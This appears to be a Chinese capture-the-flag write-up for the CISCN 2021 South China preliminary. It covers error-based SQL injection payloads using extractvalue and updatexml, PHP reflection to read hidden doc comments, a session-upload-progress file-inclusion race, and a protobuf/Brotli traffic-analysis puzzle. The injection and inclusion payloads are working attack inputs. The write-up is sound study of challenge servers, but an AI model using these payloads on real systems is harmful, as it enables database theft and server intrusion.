ciscn2021华南赛区预赛

ciscn2021华南赛区预赛

WEB

easy_sql

报错注入,uname输入'爆出sql语句含(),

1
2
uname=asd')or(extractvalue(1,concat(0x7e,database())))#&passwd=123&Submit=%E7%99
%BB%E5%BD%95

爆出数据库名security

查表时发现information及其替代方法被ban,在不存在表格的时候会有报错,靠猜,经典 flag 表。
无列名注入爆出第一个字段 id 跟第二个字段 no ,最后去爆flag字段名。

1
2
uname=asd')or(extractvalue(1,concat(0x7e,(select * from(select * from flag a join
(select * from flag)b using(id,no))c))))#&passwd=123&Submit=%E7%99%BB%E5%BD%95

读取flag

1
2
uname=')or(updatexml(1,concat(0x7e,mid((select group_concat(`flag字段名`) from
flag),25,16),0x7e),1))#&passwd=123&Submit=%E7%99%BB%E5%BD%95

easy_source

题目提示可能是文件备份,有个.index.php.swo,看到源码,发现为原题,flag藏在某个function注释下,可以利用php反射进行构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔
细想想文件里面还有什么?
<?php
class User
{
  private static $c = 0;
  function a()
 {
    return ++self::$c;
 }
  function b()
 {
    return ++self::$c;
 }
  function c()
 {
    return ++self::$c;
 }
  function d()
 {
    return ++self::$c;
 }
  function e()
 {
    return ++self::$c;
 }
  function f()
 {
    return ++self::$c;
 }
  function g()
 {
    return ++self::$c;
 }
  function h()
 {
    return ++self::$c;
 }
  function i()
 {
    return ++self::$c;
 }
  function j()
 {
    return ++self::$c;
 }
  function k()
 {
    return ++self::$c;
 }
  function l()
 {
    return ++self::$c;
 }
  function m()
 {
    return ++self::$c;
 }
  function n()
 {
    return ++self::$c;
 }
  function o()
 {
抓包对rb进行爆破a-z
    return ++self::$c;
 }
  function p()
 {
    return ++self::$c;
 }
  function q()
 {
    return ++self::$c;
 }
  function r()
 {
    return ++self::$c;
 }
  function s()
 {
    return ++self::$c;
 }
  function t()
 {
    return ++self::$c;
 }
 
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
1
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

条件竞争,抓包对rb进行爆破a-z

image-20211102090058913

middle_source

伪协议无果,扫目录发现有个 .listing ,提示有个phpinfo文件

image-20211102090139731

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含。我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/path/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初
始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的
session.upload_progress.name值组成,最后被写入sess_flag文件里。然后包含这个session文件,上传与包含同时进行,条件竞争。查看phpinfo,得知session文件存放目录。

image-20211102090232171

写个请求上传表单

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="http://114.116.246.116:22803" method="POST"
enctype="multipart/form-data">
  <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="11" />
  <input type="file" name="flie" />
  <input type="submit" value="submit" />
</form>
</body>
</html>

文件随便传,主要是提交 PHP_SESSION_UPLOAD_PROGRESS 的值。抓包修改, 构造Cookie ,根据信息提示、读取etc目录,system被ban了,读取phpinfo(): diable_function 知道被ban函数,还有scandir()可以用。

image-20211102090335076

同时抓取题目访问session文件的包,(根据phpinfo得知的session文件存储路径去访问这个文件)

image-20211102090410282

同时进行爆破。一层一层得知目录,最后readfile读取flag

image-20211102090439561

image-20211102090450341

misc

tiny traffic

过滤了http后观看,有个flag_wrapper,没啥用,全部导出后观看,很多无用的。有个secret,test,看名字就很可疑,惯例丢到010也没看出啥。怀疑是一压缩文件,百度得知有种br压缩算法,BR 文件是用Brotli压缩的文件,用Google官方提供的Brotli.exe就可以直接转换成dat文件,得出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
syntax = "proto3";
message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
 string junk_data = 2;
 string flag_part = 1;
}
repeated data dataList = 3;
int32 flag_part_plz_convert_to_hex = 4;
string flag_last_part = 5;
}
message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;
}

将解压得出的test后缀改为proto,配合secret使用protoc解密得出

1
2
3
4
5
6
7
8
9
10
11
f1ag_part_convert_to_hex_p1z: 15100450 /////toHex:e66a22
dataList {
f1ag_ part: "e2345"
junk_ data: "7af2c'
}
dataList {
 flag_ part: "7889b0"
 junk_ data: "82bc0"
}
flag_ part_ p1z_ convert_to_hex: 16453958  /////toHex:fb1146
flag_last_ part: "d172a38dc"

根据数据名称,将对应的数据转换成16进制,然后将所以数据按顺序拼接得出flag